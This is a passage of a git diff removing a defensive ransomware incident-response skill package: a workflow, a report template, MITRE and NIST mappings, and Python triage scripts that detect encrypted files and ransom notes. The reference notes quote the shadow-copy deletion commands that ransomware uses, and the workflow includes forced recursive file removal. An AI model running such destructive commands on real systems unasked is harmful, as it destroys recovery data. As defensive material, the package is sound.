distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/skills/performing-ransomware-incident-response.bak/SKILL.md b/skills/performing-ransomware-incident-response.bak/SKILL.md deleted file mode 100644 index ae04f561..00000000 --- a/skills/performing-ransomware-incident-response.bak/SKILL.md +++ /dev/null @@ -1,196 +0,0 @@ ---- -name: performing-ransomware-incident-response -description: Execute a structured ransomware incident response including containment, decryption assessment, recovery from backups, and eradication of ransomware persistence mechanisms. -domain: cybersecurity -subdomain: incident-response -tags: [incident-response, ransomware, dfir, recovery, eradication, encryption] -version: "1.0" -author: mahipal -license: Apache-2.0 ---- - -# Performing Ransomware Incident Response - -## When to Use -- Ransomware encryption detected on one or more endpoints -- Ransom note files discovered on file shares or endpoints -- File extensions changed to known ransomware variants (.locked, .encrypted, .ryuk, etc.) -- Volume Shadow Copies deleted or backup systems targeted -- EDR/AV alerts for known ransomware families (LockBit, BlackCat/ALPHV, Cl0p, Royal, Play) - -## Prerequisites -- Incident Response Plan with ransomware-specific playbook -- Offline/immutable backup infrastructure -- EDR platform with ransomware rollback capability -- No Ransom (nomoreransom.org) decryptor database access -- Network segmentation capability for rapid isolation -- Communication plan for stakeholders and potentially law enforcement - -## Workflow - -### Step 1: Detect and Confirm Ransomware -```bash -# Check for ransom note files across file shares -find /mnt/shares -name "README*.txt" -o -name "DECRYPT*.txt" -o -name "HOW_TO_RECOVER*" \ - -o -name "RESTORE_FILES*" -newer /tmp/baseline_timestamp 2>/dev/null - -# Check for mass file encryption indicators -find /mnt/shares -name "*.encrypted" -o -name "*.locked" -o -name "*.BlackCat" \ - -o -name "*.lockbit" -mmin -60 2>/dev/null | head -50 - -# Identify ransomware variant from ransom note -strings ransom_note.txt | grep -iE "(bitcoin|wallet|tor|onion|decrypt|payment)" - -# Upload sample to ID Ransomware for variant identification -curl -X POST "https://id-ransomware.malwarehunterteam.com/api/upload" \ - -F "ransom_note=@ransom_note.txt" -F "encrypted_file=@sample.encrypted" -``` - -### Step 2: Isolate Infected Systems Immediately -```bash -# CrowdStrike Falcon - Mass contain infected hosts -for device_id in $(cat infected_device_ids.txt); do - curl -X POST "https://api.crowdstrike.com/devices/entities/devices-actions/v2?action_name=contain" \ - -H "Authorization: Bearer $FALCON_TOKEN" \ - -H "Content-Type: application/json" \ - -d "{\"ids\": [\"$device_id\"]}" -done - -# Block known ransomware C2 IPs at firewall -while read ip; do - iptables -A INPUT -s "$ip" -j DROP - iptables -A OUTPUT -d "$ip" -j DROP -done < ransomware_c2_ips.txt - -# Disable SMB/lateral movement protocols between segments -# Palo Alto firewall -set rulebase security rules block-smb-lateral from internal to internal application ms-ds-smb action deny -commit force -``` - -### Step 3: Assess Encryption Scope and Impact -```bash -# Splunk query - identify affected hosts by file modification patterns -index=endpoint sourcetype=sysmon EventCode=11 -| stats dc(TargetFilename) as files_created by Computer -| where files_created > 1000 -| sort -files_created - -# Check if Volume Shadow Copies were deleted -wevtutil qe Application /q:"*[System[Provider[@Name='VSS']]]" /f:text /c:20 - -# Check backup integrity -veeam-backup-check --repository "primary_backup" --verify-integrity -restic -r /backup/repo check --read-data-subset=1/10 -``` - -### Step 4: Check for Available Decryptors -```bash -# Check No More Ransom project for free decryptors -# https://www.nomoreransom.org/en/decryption-tools.html - -# Check Kaspersky decryptor database -# https://noransom.kaspersky.com/ - -# Check Emsisoft decryptor database -# https://www.emsisoft.com/en/ransomware-decryption/ - -# Test if files can be recovered from shadow copies (if not deleted) -vssadmin list shadows -mklink /D C:\ShadowCopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\ - -# Check previous file versions -wmic shadowcopy list brief -``` - -### Step 5: Eradicate Ransomware and Persistence -```bash -# Scan all systems for ransomware artifacts -yara -r ransomware_rules.yar /mnt/infected_disk/ - -# Check common persistence locations -reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s -reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s -schtasks /query /fo CSV /v | findstr /i "encrypt lock ransom" - -# Check for ransomware loader in Group Policy -find /mnt/sysvol -name "*.exe" -o -name "*.dll" -o -name "*.bat" -newer /tmp/baseline - -# Remove ransomware artifacts -# After forensic imaging is complete -Get-ChildItem -Path C:\ -Include *.encrypted,*.locked -Recurse | Remove-Item -Force -reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "malicious_entry" /f -``` - -### Step 6: Recover Systems from Clean Backups -```bash -# Verify backup integrity before restoration -sha256sum backup_image_server01.vhdx -restic -r /backup/repo restore latest --target /mnt/restore --verify - -# Restore from Veeam backup -# Veeam PowerShell -Start-VBRRestoreSession -BackupObject (Get-VBRBackup -Name "Server01_Backup") \ - -RestorePoint (Get-VBRRestorePoint -Backup "Server01_Backup" | Sort-Object -Property CreationTime -Descending | Select-Object -First 1) - -# Rebuild from golden images if backups compromised -packer build -var "os_version=2022" golden_image.pkr.hcl -terraform apply -var="image_id=ami-golden-2024" -auto-approve -``` - -### Step 7: Post-Recovery Validation -```bash -# Verify no ransomware persistence remains -Get-CimInstance -ClassName Win32_StartupCommand | Select-Object Name, Command, Location -Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"} | Select-Object TaskName, TaskPath - -# Verify file integrity post-restore -fciv -r C:\restored_data\ -sha256 > post_restore_hashes.txt -diff pre_infection_hashes.txt post_restore_hashes.txt - -# Enhanced monitoring for re-infection -# Deploy canary files in sensitive directories -for dir in /mnt/shares/*/; do - echo "CANARY_$(date +%s)" > "$dir/.canary_monitor.txt" -done -``` - -## Key Concepts - -| Concept | Description | -|---------|-------------| -| Double Extortion | Attacker encrypts data AND exfiltrates it, threatening public release | -| Triple Extortion | Adding DDoS threats or contacting victims' customers to increase pressure | -| Ransomware-as-a-Service (RaaS) | Criminal business model where affiliates pay operators for ransomware tools | -| Decryptor Availability | Free decryptors may exist for some ransomware families via No More Ransom | -| Immutable Backups | Backup copies that cannot be modified or deleted, critical for ransomware recovery | -| Dwell Time | Time between initial compromise and ransomware deployment (often weeks) | -| IOC Sharing | Sharing indicators with ISACs and law enforcement improves collective defense | - -## Tools & Systems - -| Tool | Purpose | -|------|---------| -| ID Ransomware | Identify ransomware variant from samples | -| No More Ransom | Free decryptor database (nomoreransom.org) | -| CrowdStrike Falcon | Endpoint containment and ransomware rollback | -| Veeam/Commvault | Backup verification and restoration | -| YARA | Ransomware artifact scanning | -| Volatility | Memory forensics for ransomware analysis | -| Splunk/Elastic | Log analysis for encryption scope assessment | - -## Common Scenarios - -1. **LockBit 3.0 Enterprise Attack**: Attacker compromises VPN, deploys LockBit across domain via GPO. Isolate domain controllers first, verify backup integrity, restore from immutable backups. -2. **BlackCat/ALPHV Double Extortion**: Data exfiltrated before encryption. Engage legal for breach notification, restore from backups, negotiate through authorized channels if needed. -3. **Cl0p MOVEit Exploitation**: Mass exploitation of file transfer application. Patch vulnerability, identify exfiltrated data, rebuild affected systems. -4. **Targeted Healthcare Ransomware**: Patient data encrypted. Activate emergency manual procedures, engage HHS, prioritize clinical system recovery. -5. **Ransomware via Compromised MSP**: Attacker accesses multiple clients through MSP tools. Disconnect MSP access, contain per-client, coordinate multi-tenant response. - -## Output Format -- Ransomware variant identification report -- Encryption scope assessment with affected systems list -- Backup integrity verification results -- Recovery timeline and prioritized restoration plan -- Eradication verification report -- Lessons learned document with prevention recommendations diff --git a/skills/performing-ransomware-incident-response.bak/assets/template.md b/skills/performing-ransomware-incident-response.bak/assets/template.md deleted file mode 100644 index 3e8ef83b..00000000 --- a/skills/performing-ransomware-incident-response.bak/assets/template.md +++ /dev/null @@ -1,150 +0,0 @@ -# Ransomware Incident Response Report - -## Incident Overview -| Field | Value | -|-------|-------| -| Incident ID | IR-YYYY-NNN | -| Date Detected | YYYY-MM-DD HH:MM UTC | -| Ransomware Family | [LockBit/BlackCat/Cl0p/etc.] | -| Variant Version | [if known] | -| Severity | [Critical/High/Medium] | -| Incident Commander | [Name] | -| Status | [Active/Contained/Eradicated/Recovered] | - -## Executive Summary -[2-3 sentence summary of the ransomware incident, impact, and current status] - -## Ransomware Identification -| Attribute | Details | -|-----------|---------| -| Family/Variant | | -| File Extension | | -| Ransom Note Filename | | -| Bitcoin Wallet(s) | | -| Tor Payment URL | | -| Ransom Demand | | -| Decryptor Available | Yes/No (source: ) | - -## Encryption Scope - -### Affected Systems -| Hostname | IP Address | OS | Role | Encryption Status | Recovery Method | -|----------|-----------|-----|------|-------------------|----------------| -| | | | | Full/Partial/None | Backup/Decrypt/Rebuild | - -### Affected Data -| Data Category | Classification | Volume (GB) | Location | Encrypted | Exfiltrated | -|--------------|---------------|-------------|----------|-----------|-------------| -| | | | | Yes/No | Yes/No/Unknown | - -### Encryption Statistics -- Total encrypted files: [count] -- Total affected directories: [count] -- Estimated data volume encrypted: [GB/TB] -- Encryption completion: [percentage if still in progress] - -## Attack Timeline -| Date/Time (UTC) | Event | Evidence Source | -|-----------------|-------|----------------| -| | Initial access | | -| | Credential harvesting | | -| | Lateral movement began | | -| | Data exfiltration (if applicable) | | -| | Security tools disabled | | -| | VSS/backups deleted | | -| | Encryption started | | -| | Encryption detected | | -| | Containment initiated | | - -## Initial Access Vector -- [ ] Phishing email (attachment/link) -- [ ] Exploited public-facing application (CVE: ___) -- [ ] Compromised VPN/RDP credentials -- [ ] Supply chain compromise -- [ ] Insider threat -- [ ] Unknown (under investigation) - -## Containment Actions -- [ ] Infected systems isolated from network -- [ ] C2 IPs/domains blocked at firewall -- [ ] Compromised accounts disabled -- [ ] Lateral movement protocols blocked -- [ ] Backup systems isolated and protected -- [ ] Enhanced monitoring deployed - -## Backup and Recovery Assessment - -### Backup Status -| Backup Type | Status | Last Good Date | Integrity Verified | Recovery Time | -|-------------|--------|---------------|-------------------|---------------| -| Volume Shadow Copies | Available/Deleted | | Yes/No | | -| On-premise backup (Veeam/etc.) | Available/Encrypted/Offline | | Yes/No | | -| Cloud backup | Available/Compromised | | Yes/No | | -| Immutable backup | Available/N/A | | Yes/No | | -| Tape backup | Available/N/A | | Yes/No | | - -### Recovery Plan -| Priority | System | Recovery Method | Estimated Time | Status | -|----------|--------|----------------|---------------|--------| -| P1 | | | | | -| P2 | | | | | -| P3 | | | | | - -## Ransom Payment Decision -- [ ] Payment NOT recommended (backups available) -- [ ] Payment under consideration (legal/executive review) -- [ ] Law enforcement consulted: [FBI/CISA/Local] -- [ ] Cyber insurance carrier notified: [Yes/No] -- [ ] External IR firm engaged: [Yes/No - Firm name] - -## Indicators of Compromise (IOCs) - -### Network IOCs -| IOC Type | Value | Context | -|----------|-------|---------| -| IP Address | | C2 server | -| Domain | | C2 domain | -| URL | | Payment site | - -### File IOCs -| IOC Type | Value | Context | -|----------|-------|---------| -| SHA256 | | Ransomware binary | -| SHA256 | | Loader/dropper | -| Filename | | Ransom note | - -### Host IOCs -| IOC Type | Value | Context | -|----------|-------|---------| -| Registry key | | Persistence | -| Scheduled task | | Execution | -| Service | | Persistence | - -## Notifications -- [ ] Executive leadership briefed -- [ ] Legal counsel engaged -- [ ] Cyber insurance carrier notified -- [ ] Law enforcement notified (FBI IC3, CISA) -- [ ] Regulatory notification (if required): [GDPR/HIPAA/PCI/State laws] -- [ ] Customer notification (if required) -- [ ] Sector ISAC notified - -## Lessons Learned -### What Worked -- - -### What Failed -- - -### Recommendations -1. -2. -3. - -## Approvals -| Role | Name | Signature | Date | -|------|------|-----------|------| -| Incident Commander | | | | -| CISO | | | | -| Legal Counsel | | | | -| CEO/COO | | | | diff --git a/skills/performing-ransomware-incident-response.bak/references/api-reference.md b/skills/performing-ransomware-incident-response.bak/references/api-reference.md deleted file mode 100644 index f1bce50c..00000000 --- a/skills/performing-ransomware-incident-response.bak/references/api-reference.md +++ /dev/null @@ -1,63 +0,0 @@ -# Ransomware Incident Response - API Reference - -## File System Scanning - -### Ransomware Extensions -Common encrypted file extensions: `.encrypted`, `.locked`, `.crypt`, `.locky`, `.cerber`, `.zepto`, `.wncry`, `.wnry`, `.wcry`, `.onion`, `.micro`, `.r5a` - -### Ransom Note Filenames -Common patterns: `readme.txt`, `how_to_decrypt.txt`, `decrypt_instructions.html`, `restore_files.txt`, `_readme.txt`, `how_to_recover.txt` - -## IOC Collection - -### hashlib (Python stdlib) -```python -sha = hashlib.sha256() -with open(path, "rb") as f: - for chunk in iter(lambda: f.read(8192), b""): - sha.update(chunk) -sha.hexdigest() -``` - -### ID Ransomware Identification -Upload ransom note or encrypted file sample to id-ransomware.malwarehunterteam.com for variant identification. - -## Shadow Copy Detection (Windows) - -```bash -vssadmin list shadows -``` - -Ransomware commonly deletes shadow copies via: -```bash -vssadmin delete shadows /all /quiet -wmic shadowcopy delete -``` - -## Containment Checklist - -1. Network isolation - Disable NICs or move to quarantine VLAN -2. Evidence preservation - Disk image before remediation -3. Credential reset - krbtgt (twice), DA accounts, service accounts -4. Scope assessment - Enumerate affected hosts and shares -5. Variant identification - Submit IOCs to threat intel platforms -6. Recovery - Restore from clean backups after root cause confirmed - -## Output Schema - -```json -{ - "report": "ransomware_incident_response", - "encrypted_files_found": 342, - "ransom_notes_found": 5, - "shadow_copy_status": {"intact": false, "shadow_copies": 0}, - "containment_actions": [{"priority": 1, "action": "Isolate affected hosts"}], - "file_hashes": [{"path": "/data/file.encrypted", "sha256": "abc123..."}] -} -``` - -## CLI Usage - -```bash -python agent.py --target /mnt/affected_share --max-files 5000 --output report.json -``` diff --git a/skills/performing-ransomware-incident-response.bak/references/standards.md b/skills/performing-ransomware-incident-response.bak/references/standards.md deleted file mode 100644 index fe4141cf..00000000 --- a/skills/performing-ransomware-incident-response.bak/references/standards.md +++ /dev/null @@ -1,84 +0,0 @@ -# Standards and Framework References - Ransomware Incident Response - -## NIST SP 800-61 Rev. 3 - Ransomware Response Alignment -- **Detect (DE)**: Monitoring for ransomware indicators - - DE.CM-01: Networks monitored for ransomware C2 traffic - - DE.AE-02: Anomalous file encryption patterns analyzed -- **Respond (RS)**: Containment and eradication - - RS.AN-03: Analysis performed to determine ransomware variant - - RS.MI-01: Contain ransomware spread via network isolation - - RS.MI-02: Eradicate ransomware persistence mechanisms -- **Recover (RC)**: Restoration from backups - - RC.RP-01: Recovery plan executed during or after incident - - RC.CO-03: Recovery activities communicated to stakeholders - -## CISA Ransomware Guide (StopRansomware.gov) -- Joint advisory from CISA, FBI, NSA, MS-ISAC -- Key recommendations: - 1. Maintain offline, encrypted backups - 2. Create, maintain, and exercise a basic cyber incident response plan - 3. Implement Zero Trust Architecture - 4. Segment networks to prevent spread -- Reference: https://www.cisa.gov/stopransomware - -## NIST Cybersecurity Framework Profile for Ransomware Risk Management -- NISTIR 8374: Provides a Ransomware Profile mapped to CSF -- Key subcategories: - - PR.DS-01: Data-at-rest is protected (backup encryption) - - PR.IP-04: Backups of information are conducted, maintained, and tested - - DE.AE-05: Incident alert thresholds are established -- Reference: https://csrc.nist.gov/publications/detail/nistir/8374/final - -## MITRE ATT&CK - Ransomware Techniques - -### Pre-Encryption Techniques -| Technique ID | Name | Description | -|-------------|------|-------------| -| T1486 | Data Encrypted for Impact | Core ransomware encryption activity | -| T1490 | Inhibit System Recovery | Deleting shadow copies, disabling recovery | -| T1489 | Service Stop | Stopping AV, backup, database services | -| T1562.001 | Disable or Modify Tools | Disabling security tools before encryption | -| T1047 | Windows Management Instrumentation | WMI used for lateral deployment | - -### Ransomware Deployment Techniques -| Technique ID | Name | Description | -|-------------|------|-------------| -| T1570 | Lateral Tool Transfer | Copying ransomware binary across network | -| T1053.005 | Scheduled Task | Scheduled tasks for timed detonation | -| T1484.001 | Group Policy Modification | GPO abuse for mass deployment | -| T1569.002 | Service Execution | Running ransomware as a service | - -### Exfiltration (Double Extortion) -| Technique ID | Name | Description | -|-------------|------|-------------| -| T1567 | Exfiltration Over Web Service | Uploading data to cloud storage | -| T1048 | Exfiltration Over Alternative Protocol | DNS/ICMP tunneling for data theft | -| T1041 | Exfiltration Over C2 Channel | Data sent through C2 infrastructure | - -## SANS Ransomware Response Checklist -1. Isolate the infected device(s) from the network immediately -2. Identify the ransomware variant -3. Check for decryptors (No More Ransom, Emsisoft, Kaspersky) -4. Report to law enforcement (FBI IC3, local CISA office) -5. Assess backup availability and integrity -6. Determine if data was exfiltrated (double extortion) -7. Restore from clean backups -8. Document lessons learned - -## FBI/CISA Joint Advisory Recommendations -- Do NOT pay the ransom (paying does not guarantee recovery) -- Report the attack to FBI IC3 (ic3.gov) and CISA -- Preserve forensic evidence for law enforcement -- Contact CISA for technical assistance -- Share IOCs with sector ISACs - -## Known Ransomware Family References -| Family | First Seen | Notable Traits | Decryptor Available | -|--------|-----------|----------------|-------------------| -| LockBit 3.0 | 2022 | RaaS, Bug Bounty program | No | -| BlackCat/ALPHV | 2021 | Rust-based, cross-platform | Partial (FBI tool) | -| Cl0p | 2019 | Mass exploitation campaigns | No | -| Royal/BlackSuit | 2022 | Targets critical infrastructure | No | -| Play | 2022 | Intermittent encryption | No | -| Akira | 2023 | Targets Linux/VMware | Partial | -| Rhysida | 2023 | Targets healthcare, education | No | diff --git a/skills/performing-ransomware-incident-response.bak/references/workflows.md b/skills/performing-ransomware-incident-response.bak/references/workflows.md deleted file mode 100644 index e7df5f73..00000000 --- a/skills/performing-ransomware-incident-response.bak/references/workflows.md +++ /dev/null @@ -1,133 +0,0 @@ -# Ransomware Incident Response - Detailed Workflow - -## Phase 1: Detection and Initial Assessment (0-30 minutes) - -### Detection Sources -1. EDR/AV alert for ransomware behavior (mass file encryption) -2. User reports of inaccessible files or ransom notes -3. SIEM correlation of suspicious patterns (VSS deletion + mass file writes) -4. Backup system alerts for failed or corrupted backups -5. Canary file monitoring triggers - -### Initial Assessment Steps -1. Confirm ransomware activity (not a false positive or legitimate encryption) -2. Identify patient zero (first infected system) -3. Determine ransomware variant from ransom note or encrypted file extension -4. Check if encryption is still in progress or completed -5. Assess scope: single host, department, or enterprise-wide -6. Activate incident response team and establish war room - -### Variant Identification -1. Upload ransom note to ID Ransomware (id-ransomware.malwarehunterteam.com) -2. Submit encrypted file sample to identify encryption algorithm -3. Check file extension against known ransomware database -4. Cross-reference IOCs with threat intelligence feeds -5. Search for Bitcoin wallet addresses in threat intel databases - -## Phase 2: Containment (30-120 minutes) - -### Immediate Actions -1. Network-isolate all confirmed infected hosts via EDR -2. Block known C2 IPs/domains at perimeter firewall -3. Disable file sharing (SMB, NFS) between network segments -4. Block lateral movement protocols (RDP, WinRM, PsExec) -5. Disable compromised user/service accounts -6. Take backup systems offline (protect from encryption) - -### Network Segmentation -1. Implement emergency firewall rules between VLANs -2. Disable inter-VLAN routing for affected segments -3. Block east-west traffic for non-essential ports -4. Enable full packet capture on affected segments -5. Deploy network honey tokens - -### Backup Protection Priority -1. Disconnect backup networks from production -2. Verify immutable backup copies exist and are intact -3. Test a sample restoration to confirm backup viability -4. Document last known good backup date for each system -5. If using cloud backups, verify object lock/WORM settings - -## Phase 3: Investigation (2-48 hours) - -### Determine Initial Access Vector -1. Review VPN/remote access logs for compromised credentials -2. Check email logs for phishing delivery -3. Analyze exploitation of public-facing applications -4. Review RDP brute force attempts in event logs -5. Check supply chain/third-party access logs - -### Map Attack Timeline -1. Correlate SIEM/EDR data to build attack chronology -2. Identify dwell time (initial access to encryption) -3. Map lateral movement path through the network -4. Identify all systems accessed by the attacker -5. Determine if data was exfiltrated before encryption - -### Evidence Collection -1. Capture memory images from key systems -2. Create forensic disk images before remediation -3. Export relevant SIEM logs (authentication, file access, network) -4. Preserve EDR detection data and timeline -5. Document all ransom communications - -## Phase 4: Eradication (24-72 hours) - -### Remove Attacker Persistence -1. Identify and remove all backdoors (web shells, RATs, implants) -2. Remove scheduled tasks created by the attacker -3. Clean malicious registry entries -4. Remove unauthorized user accounts -5. Revoke all compromised credentials (including KRBTGT if needed) -6. Patch the vulnerability used for initial access - -### Validate Clean State -1. Run full AV/EDR scans on all systems -2. Scan with YARA rules specific to the ransomware family -3. Verify no unauthorized processes or services -4. Check for fileless persistence mechanisms -5. Validate Group Policy objects are clean - -## Phase 5: Recovery (24 hours - 2 weeks) - -### Recovery Prioritization -| Priority | System Category | Recovery Target | -|----------|----------------|-----------------| -| P1 | Domain controllers, DNS, DHCP | 4-8 hours | -| P2 | Email, communication systems | 8-24 hours | -| P3 | Core business applications | 24-72 hours | -| P4 | File shares, secondary systems | 3-7 days | -| P5 | Non-critical workstations | 1-2 weeks | - -### Recovery Steps -1. Rebuild systems from known-good images (not infected backups) -2. Restore data from verified clean backups -3. Apply all security patches before reconnecting to network -4. Reset all passwords enterprise-wide -5. Implement MFA on all remote access -6. Reconnect systems in phases with enhanced monitoring -7. Verify data integrity after restoration - -### Decryption Assessment -1. Check nomoreransom.org for available decryptors -2. Contact law enforcement for potential seized decryption keys -3. Assess if partial decryption is possible -4. Evaluate third-party decryption services (with caution) -5. Document any data that cannot be recovered - -## Phase 6: Post-Incident (1-4 weeks) - -### Lessons Learned -1. Conduct formal after-action review -2. Document complete attack timeline -3. Identify what worked and what failed in the response -4. Update incident response playbook based on findings -5. Brief executive leadership and board - -### Preventive Improvements -1. Implement or enhance immutable backups -2. Deploy additional network segmentation -3. Improve endpoint detection rules -4. Conduct security awareness training -5. Test backup restoration procedures regularly -6. Implement privileged access management (PAM) diff --git a/skills/performing-ransomware-incident-response.bak/scripts/agent.py b/skills/performing-ransomware-incident-response.bak/scripts/agent.py deleted file mode 100644 index 10367ef4..00000000 --- a/skills/performing-ransomware-incident-response.bak/scripts/agent.py +++ /dev/null @@ -1,158 +0,0 @@ -#!/usr/bin/env python3 -"""Ransomware Incident Response agent — automates initial triage, IOC -collection, and containment actions during a ransomware event.""" - -import argparse -import hashlib -import json -import os -import subprocess -import sys -from datetime import datetime -from pathlib import Path - - -RANSOMWARE_EXTENSIONS = { - ".encrypted", ".locked", ".crypt", ".cry", ".crypto", ".enc", - ".locky", ".cerber", ".zepto", ".wncry", ".wnry", ".wcry", - ".onion", ".aaa", ".abc", ".xyz", ".zzz", ".micro", ".r5a", -} - -RANSOM_NOTE_PATTERNS = [ - "readme.txt", "how_to_decrypt.txt", "decrypt_instructions.html", - "restore_files.txt", "help_decrypt.html", "recovery.txt", - "_readme.txt", "how_to_recover.txt", -] - - -def scan_encrypted_files(target_dir: str, max_files: int = 5000) -> list[dict]: - """Scan directory for files with ransomware-associated extensions.""" - findings = [] - count = 0 - for root, dirs, files in os.walk(target_dir): - for fname in files: - if count >= max_files: - return findings - fpath = os.path.join(root, fname) - ext = os.path.splitext(fname)[1].lower() - if ext in RANSOMWARE_EXTENSIONS: - try: - stat = os.stat(fpath) - findings.append({ - "path": fpath, - "extension": ext, - "size_bytes": stat.st_size, - "modified": datetime.fromtimestamp(stat.st_mtime).isoformat(), - }) - except OSError: - pass - count += 1 - return findings - - -def find_ransom_notes(target_dir: str) -> list[dict]: - """Search for known ransom note filenames.""" - notes = [] - for root, dirs, files in os.walk(target_dir): - for fname in files: - if fname.lower() in RANSOM_NOTE_PATTERNS: - fpath = os.path.join(root, fname) - try: - with open(fpath, "r", encoding="utf-8", errors="ignore") as fh: - content = fh.read(2048) - notes.append({"path": fpath, "preview": content[:500]}) - except OSError: - notes.append({"path": fpath, "preview": "[unreadable]"}) - return notes - - -def collect_file_hashes(file_paths: list[str], max_hash: int = 100) -> list[dict]: - """Compute SHA-256 hashes for IOC submission.""" - hashes = [] - for fpath in file_paths[:max_hash]: - try: - sha = hashlib.sha256() - with open(fpath, "rb") as fh: - for chunk in iter(lambda: fh.read(8192), b""): - sha.update(chunk) - hashes.append({"path": fpath, "sha256": sha.hexdigest()}) - except OSError: - pass - return hashes - - -def check_shadow_copies(platform: str = sys.platform) -> dict: - """Check if Volume Shadow Copies are intact (Windows) or snapshots exist.""" - if platform == "win32": - try: - result = subprocess.run( - ["vssadmin", "list", "shadows"], - capture_output=True, text=True, timeout=30 - ) - shadow_count = result.stdout.count("Shadow Copy ID") - return {"platform": "windows", "shadow_copies": shadow_count, - "intact": shadow_count > 0, "raw": result.stdout[:1000]} - except (subprocess.SubprocessError, FileNotFoundError): - return {"platform": "windows", "shadow_copies": 0, "intact": False, "error": "vssadmin unavailable"} - return {"platform": platform, "shadow_copies": -1, "intact": False, "note": "Manual check required"} - - -def generate_containment_actions(encrypted_count: int, notes_found: int) -> list[dict]: - """Produce recommended containment actions based on findings.""" - actions = [ - {"priority": 1, "action": "Isolate affected hosts from network immediately", - "detail": "Disable network adapters or move to quarantine VLAN"}, - {"priority": 2, "action": "Preserve forensic evidence before remediation", - "detail": "Create disk images of affected systems"}, - {"priority": 3, "action": "Reset credentials for all privileged accounts", - "detail": "Include krbtgt, service accounts, and domain admins"}, - ] - if encrypted_count > 100: - actions.append({"priority": 4, "action": "Activate business continuity plan", - "detail": f"{encrypted_count} encrypted files detected — significant data impact"}) - if notes_found > 0: - actions.append({"priority": 5, "action": "Collect and analyze ransom notes for variant identification", - "detail": "Submit to ID Ransomware (id-ransomware.malwarehunterteam.com)"}) - return actions - - -def generate_report(target_dir: str, max_files: int) -> dict: - """Run all checks and build consolidated incident report.""" - encrypted = scan_encrypted_files(target_dir, max_files) - notes = find_ransom_notes(target_dir) - file_hashes = collect_file_hashes([f["path"] for f in encrypted[:50]]) - shadow_status = check_shadow_copies() - actions = generate_containment_actions(len(encrypted), len(notes)) - - return { - "report": "ransomware_incident_response", - "generated_at": datetime.utcnow().isoformat() + "Z", - "target_directory": target_dir, - "encrypted_files_found": len(encrypted), - "ransom_notes_found": len(notes), - "shadow_copy_status": shadow_status, - "containment_actions": actions, - "encrypted_files_sample": encrypted[:20], - "ransom_notes": notes[:10], - "file_hashes": file_hashes, - } - - -def main(): - parser = argparse.ArgumentParser(description="Ransomware Incident Response Agent") - parser.add_argument("--target", required=True, help="Directory to scan for ransomware artifacts") - parser.add_argument("--max-files", type=int, default=5000, help="Max files to scan (default: 5000)") - parser.add_argument("--output", help="Output JSON file path") - args = parser.parse_args() - - report = generate_report(args.target, args.max_files) - output = json.dumps(report, indent=2) - if args.output: - Path(args.output).write_text(output, encoding="utf-8") - print(f"Report written to {args.output}") - else: - print(output) - - -if __name__ == "__main__": - main() diff --git a/skills/performing-ransomware-incident-response.bak/scripts/process.py b/skills/performing-ransomware-incident-response.bak/scripts/process.py deleted file mode 100644 index 2a810aba..00000000 --- a/skills/performing-ransomware-incident-response.bak/scripts/process.py +++ /dev/null @@ -1,423 +0,0 @@ -#!/usr/bin/env python3 -""" -Ransomware Incident Response Automation Script - -Automates key ransomware IR tasks: -- Identifies ransomware variant from file extensions and ransom notes -- Scans for encryption indicators across file systems -- Checks for Volume Shadow Copy deletion -- Queries backup integrity -- Generates scope assessment report - -Requirements: - pip install requests yara-python watchdog -""" - -import argparse -import csv -import hashlib -import json -import logging -import os -import re -import subprocess -import sys -from collections import Counter, defaultdict -from datetime import datetime, timezone -from pathlib import Path -from typing import Optional - -try: - import requests -except ImportError: - print("Install requests: pip install requests") - sys.exit(1) - -logging.basicConfig( - level=logging.INFO, - format="%(asctime)s [%(levelname)s] %(message)s", - handlers=[ - logging.StreamHandler(), - logging.FileHandler(f"ransomware_ir_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log"), - ], -) -logger = logging.getLogger("ransomware_ir") - -# Known ransomware file extensions mapped to families -RANSOMWARE_EXTENSIONS = { - ".lockbit": "LockBit", - ".lockbit3": "LockBit 3.0", - ".BlackCat": "BlackCat/ALPHV", - ".cl0p": "Cl0p", - ".royal": "Royal", - ".play": "Play", - ".akira": "Akira", - ".rhysida": "Rhysida", - ".blacksuit": "BlackSuit", - ".medusa": "Medusa", - ".8base": "8Base", - ".bianlian": "BianLian", - ".encrypted": "Generic/Multiple", - ".locked": "Generic/Multiple", - ".crypt": "Generic/Multiple", - ".enc": "Generic/Multiple", - ".ryk": "Ryuk", - ".conti": "Conti", - ".hive": "Hive", - ".maze": "Maze", - ".revil": "REvil/Sodinokibi", - ".darkside": "DarkSide", - ".babuk": "Babuk", - ".phobos": "Phobos", - ".dharma": "Dharma", - ".stop": "STOP/Djvu", - ".djvu": "STOP/Djvu", -} - -RANSOM_NOTE_PATTERNS = [ - "README*.txt", "README*.html", "DECRYPT*.txt", "DECRYPT*.html", - "HOW_TO_RECOVER*", "RESTORE_FILES*", "RECOVER_YOUR_DATA*", - "!README!*", "_readme.txt", "info.txt", "info.hta", - "HELP_RECOVER*", "YOUR_FILES*", "#DECRYPT#*", "RANSOM_NOTE*", -] - -DECRYPTOR_SOURCES = { - "No More Ransom": "https://www.nomoreransom.org/en/decryption-tools.html", - "Emsisoft": "https://www.emsisoft.com/en/ransomware-decryption/", - "Kaspersky": "https://noransom.kaspersky.com/", - "Avast": "https://www.avast.com/ransomware-decryption-tools", - "Bitdefender": "https://www.bitdefender.com/blog/labs/bitdefender-offers-free-universal-decryptor-for-revil-sodinokibi-ransomware/", -} - - -class RansomwareScanner: - """Scan file systems for ransomware indicators.""" - - def __init__(self, scan_paths: list): - self.scan_paths = scan_paths - self.encrypted_files = [] - self.ransom_notes = [] - self.extension_counts = Counter() - self.affected_directories = set() - - def scan_for_encrypted_files(self, max_files: int = 10000) -> dict: - """Scan for files with known ransomware extensions.""" - logger.info(f"Scanning {len(self.scan_paths)} paths for encrypted files...") - count = 0 - for scan_path in self.scan_paths: - scan_path = Path(scan_path) - if not scan_path.exists(): - logger.warning(f"Path does not exist: {scan_path}") - continue - try: - for item in scan_path.rglob("*"): - if count >= max_files: - logger.warning(f"Reached max file scan limit ({max_files})") - break - if item.is_file(): - ext = item.suffix.lower() - if ext in RANSOMWARE_EXTENSIONS: - self.encrypted_files.append({ - "path": 